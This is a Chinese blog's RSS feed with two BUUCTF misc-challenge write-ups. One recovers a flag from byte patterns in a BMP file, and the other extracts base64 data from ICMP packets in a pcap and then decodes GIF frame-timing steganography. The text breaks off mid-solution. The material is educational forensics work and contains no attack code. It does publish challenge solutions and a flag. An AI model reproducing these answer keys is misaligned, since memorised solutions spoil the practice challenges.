<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>数据库 on 知识带给我们自由</title>
    <link>https://yuexuan521.github.io/zh/tags/%E6%95%B0%E6%8D%AE%E5%BA%93/</link>
    <description>Recent content in 数据库 on 知识带给我们自由</description>
    <image>
      <title>知识带给我们自由</title>
      <url>https://yuexuan521.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
      <link>https://yuexuan521.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
    </image>
    <generator>Hugo -- 0.160.1</generator>
    <language>en-us</language>
    <copyright>See this site&amp;rsquo;s source code here, licensed under GPLv3 ·</copyright>
    <lastBuildDate>Sat, 31 May 2025 11:44:09 +0000</lastBuildDate>
    <atom:link href="https://yuexuan521.github.io/zh/tags/%E6%95%B0%E6%8D%AE%E5%BA%93/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>BUUCTF 派大星的烦恼 1</title>
      <link>https://yuexuan521.github.io/zh/posts/buuctf-%E6%B4%BE%E5%A4%A7%E6%98%9F%E7%9A%84%E7%83%A6%E6%81%BC-1/</link>
      <pubDate>Sat, 31 May 2025 11:44:09 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/buuctf-%E6%B4%BE%E5%A4%A7%E6%98%9F%E7%9A%84%E7%83%A6%E6%81%BC-1/</guid>
      <description>&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193122674.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193122674.png&#34; 
             alt=&#34;&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BUUCTF: &lt;a href=&#34;https://buuoj.cn/challenges&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;https://buuoj.cn/challenges&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;相关阅读
&lt;a href=&#34;https://ctf-wiki.org/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;CTF Wiki&lt;/a&gt;
&lt;a href=&#34;https://blog.csdn.net/mochu7777777/article/details/109678243&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;BUUCTF：派大星的烦恼&lt;/a&gt;
&lt;a href=&#34;https://www.cnblogs.com/WXjzc/p/16095984.html&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;buuctf 派大星的烦恼&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193124793.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193124793.png&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;h3 id=&#34;题目描述&#34;&gt;题目描述：&lt;/h3&gt;
&lt;p&gt;派大星最近很苦恼，因为它的屁股上出现了一道疤痕！我们拍下了它屁股一张16位位图，0x22，0x44代表伤疤两种细胞，0xf0则是派大星的赘肉。还原伤疤，知道是谁打的派大星！(答案为32位的一串字符串) 注意：得到的 flag 请包上 flag{} 提交&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193122674.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193122674.png" 
             alt="" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>BUUCTF: <a href="https://buuoj.cn/challenges"target="_blank" rel="noopener noreferrer">https://buuoj.cn/challenges</a></strong></p>
<hr>
<p>相关阅读
<a href="https://ctf-wiki.org/"target="_blank" rel="noopener noreferrer">CTF Wiki</a>
<a href="https://blog.csdn.net/mochu7777777/article/details/109678243"target="_blank" rel="noopener noreferrer">BUUCTF：派大星的烦恼</a>
<a href="https://www.cnblogs.com/WXjzc/p/16095984.html"target="_blank" rel="noopener noreferrer">buuctf 派大星的烦恼</a></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193124793.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193124793.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="题目描述">题目描述：</h3>
<p>派大星最近很苦恼，因为它的屁股上出现了一道疤痕！我们拍下了它屁股一张16位位图，0x22，0x44代表伤疤两种细胞，0xf0则是派大星的赘肉。还原伤疤，知道是谁打的派大星！(答案为32位的一串字符串) 注意：得到的 flag 请包上 flag{} 提交</p>
<h3 id="密文">密文：</h3>
<p>下载附件，解压得到派大星的烦恼.bmp</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193126769.bmp">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193126769.bmp" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<h3 id="解题思路">解题思路：</h3>
<p>1、用010Editor打开bmp文件，搜索 <code>0x22、0x44</code> 两种伤疤细胞。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193129039.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193129039.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>只有两种格式，可以尝试转换为二进制数据。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="s2">&#34;DD&#34;</span><span class="n">DD</span><span class="s2">&#34;&#34;&#34;&#34;D&#34;DD&#34;&#34;&#34;&#34;&#34;&#34;DD&#34;&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;DD&#34;&#34;D&#34;&#34;DDD&#34;&#34;D&#34;</span><span class="n">D</span><span class="s2">&#34;DD&#34;&#34;&#34;&#34;&#34;&#34;DD&#34;&#34;D&#34;&#34;&#34;&#34;DD&#34;</span><span class="n">D</span><span class="s2">&#34;D&#34;</span><span class="n">DD</span><span class="s2">&#34;&#34;&#34;&#34;D&#34;DD&#34;&#34;D&#34;&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;&#34;&#34;&#34;&#34;DDD&#34;&#34;&#34;&#34;D&#34;</span><span class="n">DD</span><span class="s2">&#34;&#34;&#34;D&#34;&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;&#34;&#34;D&#34;&#34;DD&#34;D&#34;D&#34;DD&#34;&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;D&#34;</span><span class="n">D</span><span class="s2">&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;DD&#34;&#34;&#34;</span><span class="n">D</span><span class="s2">&#34;&#34;&#34;DD&#34;&#34;DD&#34;DD&#34;&#34;D&#34;D&#34;&#34;DD&#34;D&#34;D&#34;DD&#34;&#34;&#34;</span><span class="n">D</span><span class="s2">&#34;&#34;&#34;DD&#34;&#34;&#34;</span><span class="n">D</span><span class="s2">&#34;DD&#34;&#34;DD&#34;&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;D&#34;</span><span class="n">D</span><span class="s2">&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;&#34;&#34;D&#34;DD&#34;&#34;DD&#34;&#34;DD&#34;&#34;&#34;&#34;&#34;</span><span class="n">DDD</span><span class="s2">&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;&#34;</span><span class="n">DD</span><span class="s2">&#34;&#34;&#34;D&#34;&#34;DD&#34;&#34;
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>2、将 <code>&quot;</code> 对应0、 <code>D</code> 对应1，转换为</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="mi">0110110000101100000011000110110010011100101011000000110010000110101011000010110010001100000111000010110001000110001001101010110001100110101001100110110001000110011011001010011010101100010001100010110011000110101001100010110011001100000111001100110001001100</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>将二进制数据转换为ASCII文字，转换出一堆乱码，尝试逆序反转二进制数据再转ASCII文字。
<a href="https://www.rapidtables.org/zh-CN/convert/number/ascii-hex-bin-dec-converter.html"target="_blank" rel="noopener noreferrer">ASCII，十六进制，二进制，十进制，Base64转换器</a></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193130850.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193130850.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>逆序反转数据：
<a href="https://uutool.cn/txt-reverse/"target="_blank" rel="noopener noreferrer">文本逆序翻转工具
</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="mi">0011001000110011001110000011001100110100011001010110001100110100011000100011010101100101001101100110001000110110011001010110011000110101011001000110001000110100001110000011000100110100001101010110000100110000001101010011100100110110001100000011010000110110</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>成功转换为ASCII： <code>23834ec4b5e6b6ef5db48145a0596046</code> 。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193132315.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193132315.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>3、用得到的ASCII文本提交flag(答案为32位的一串字符串) ，失败了。再将得到的ASCII文本进行逆序反转，得到flag： <code>6406950a54184bd5fe6b6e5b4ce43832</code> 。</p>
<p>最后，贴个网上的脚本：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;E:\Download\misc\派大星的烦恼.bmp&#34;</span><span class="p">,</span><span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">fr</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">res</span> <span class="o">=</span> <span class="n">fr</span><span class="o">.</span><span class="n">read</span><span class="p">()[</span><span class="mi">4000</span><span class="p">:</span><span class="mi">4256</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">tmp</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">res</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">v</span> <span class="o">==</span> <span class="mi">34</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">tmp</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">tmp</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">fr</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">tmp</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">    <span class="n">tmp</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">tmp</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">t</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">t</span> <span class="o">=</span> <span class="n">t</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">b</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">t</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">w</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">b</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">w</span><span class="o">+=</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">v</span><span class="p">))[</span><span class="mi">2</span><span class="p">:]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">w</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="flag">flag：</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">flag<span class="o">{</span>6406950a54184bd5fe6b6e5b4ce43832<span class="o">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>BUUCTF 蜘蛛侠呀 1</title>
      <link>https://yuexuan521.github.io/zh/posts/buuctf-%E8%9C%98%E8%9B%9B%E4%BE%A0%E5%91%80-1/</link>
      <pubDate>Mon, 27 Jan 2025 09:17:18 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/buuctf-%E8%9C%98%E8%9B%9B%E4%BE%A0%E5%91%80-1/</guid>
      <description>&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193338867.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193338867.png&#34; 
             alt=&#34;&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BUUCTF: &lt;a href=&#34;https://buuoj.cn/challenges&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;https://buuoj.cn/challenges&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;相关阅读
&lt;a href=&#34;https://ctf-wiki.org/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;CTF Wiki&lt;/a&gt;
&lt;a href=&#34;https://hello-ctf.com/HC_Start/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;Hello CTF&lt;/a&gt;
&lt;a href=&#34;https://ns.openctf.net/learn/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;NewStar CTF&lt;/a&gt;
&lt;a href=&#34;https://blog.csdn.net/amber_o0k/article/details/124262757&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;buuctf-蜘蛛侠呀&lt;/a&gt;
&lt;a href=&#34;https://blog.csdn.net/mochu7777777/article/details/109645038&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;BUUCTF：蜘蛛侠呀&lt;/a&gt;
&lt;a href=&#34;https://guokeya.github.io/post/Y7dlMvs3K/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;MISC（时间隐写）蜘蛛侠呀&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193338867.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193338867.png" 
             alt="" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>BUUCTF: <a href="https://buuoj.cn/challenges"target="_blank" rel="noopener noreferrer">https://buuoj.cn/challenges</a></strong></p>
<hr>
<p>相关阅读
<a href="https://ctf-wiki.org/"target="_blank" rel="noopener noreferrer">CTF Wiki</a>
<a href="https://hello-ctf.com/HC_Start/"target="_blank" rel="noopener noreferrer">Hello CTF</a>
<a href="https://ns.openctf.net/learn/"target="_blank" rel="noopener noreferrer">NewStar CTF</a>
<a href="https://blog.csdn.net/amber_o0k/article/details/124262757"target="_blank" rel="noopener noreferrer">buuctf-蜘蛛侠呀</a>
<a href="https://blog.csdn.net/mochu7777777/article/details/109645038"target="_blank" rel="noopener noreferrer">BUUCTF：蜘蛛侠呀</a>
<a href="https://guokeya.github.io/post/Y7dlMvs3K/"target="_blank" rel="noopener noreferrer">MISC（时间隐写）蜘蛛侠呀</a></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193340873.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193340873.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="题目描述">题目描述：</h3>
<p>将你获得的明显信息md5加密之后以flag{xxx}的格式提交。 注意：得到的 flag 请包上 flag{} 提交</p>
<h3 id="密文">密文：</h3>
<p>下载附件，解压得到out.pcap</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193342598.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193342598.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<h3 id="解题思路">解题思路：</h3>
<p>1、打开out.pcap，发现大量ICMP报文，携带以 <code>$$START$$</code> 开头的数据，似乎是Base64数据。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193343645.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193343645.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193345675.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193345675.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193346948.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193346948.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193348529.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193348529.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>使用Python脚本，提取数据。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pyshark</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 打开PCAP文件并设置过滤器</span>
</span></span><span class="line"><span class="cl"><span class="n">packets</span> <span class="o">=</span> <span class="n">pyshark</span><span class="o">.</span><span class="n">FileCapture</span><span class="p">(</span><span class="s1">&#39;out.pcap&#39;</span><span class="p">,</span> <span class="n">display_filter</span><span class="o">=</span><span class="s2">&#34;icmp.type==0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">res</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 处理每个数据包</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">each</span> <span class="ow">in</span> <span class="n">packets</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># 解码ICMP数据负载</span>
</span></span><span class="line"><span class="cl">        <span class="n">data</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">each</span><span class="o">.</span><span class="n">icmp</span><span class="o">.</span><span class="n">data</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="c1"># 去除头部的 $$START$$</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">data</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s1">&#39;$$START$$&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="s1">&#39;$$START$$&#39;</span><span class="p">):]</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="c1"># 去除重复项</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">data</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">res</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">res</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Error processing packet: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 将结果写入文件</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;out.txt&#39;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">res</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 关闭数据包读取器</span>
</span></span><span class="line"><span class="cl"><span class="n">packets</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;done&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>得到的数据，删除头部和尾部的标识，复制到在线网站进行Base64解码。</p>
<p><a href="https://the-x.cn/encodings/Base64.aspx"target="_blank" rel="noopener noreferrer">Base64 在线解码、编码</a></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193353373.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193353373.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>解码后的数据提示是一个zip文件，另存为zip。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193355718.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193355718.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193358417.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193358417.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、解压zip文件，得到flag.gif</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193400043.gif">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193400043.gif" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>观察该GIF，发现播放非常缓慢，猜测帧间隔存在隐写数据。这似乎是 <code>时间隐写</code> 。</p>
<p>使用Kali下的identify工具提取数据，命令如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">identify -format <span class="s1">&#39;%T&#39;</span> flag.gif
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193402664.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193402664.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="m">2050502050502050205020202050202020205050205020502050205050505050202050502020205020505050205020206666</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>得到的数据由 <code>20</code> 和 <code>50</code> 组成，猜想二进制。将 <code>20</code> 替换为 <code>0</code> ， <code>50</code> 替换为 <code>1</code> ，去掉尾部的 <code>6666</code> 。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
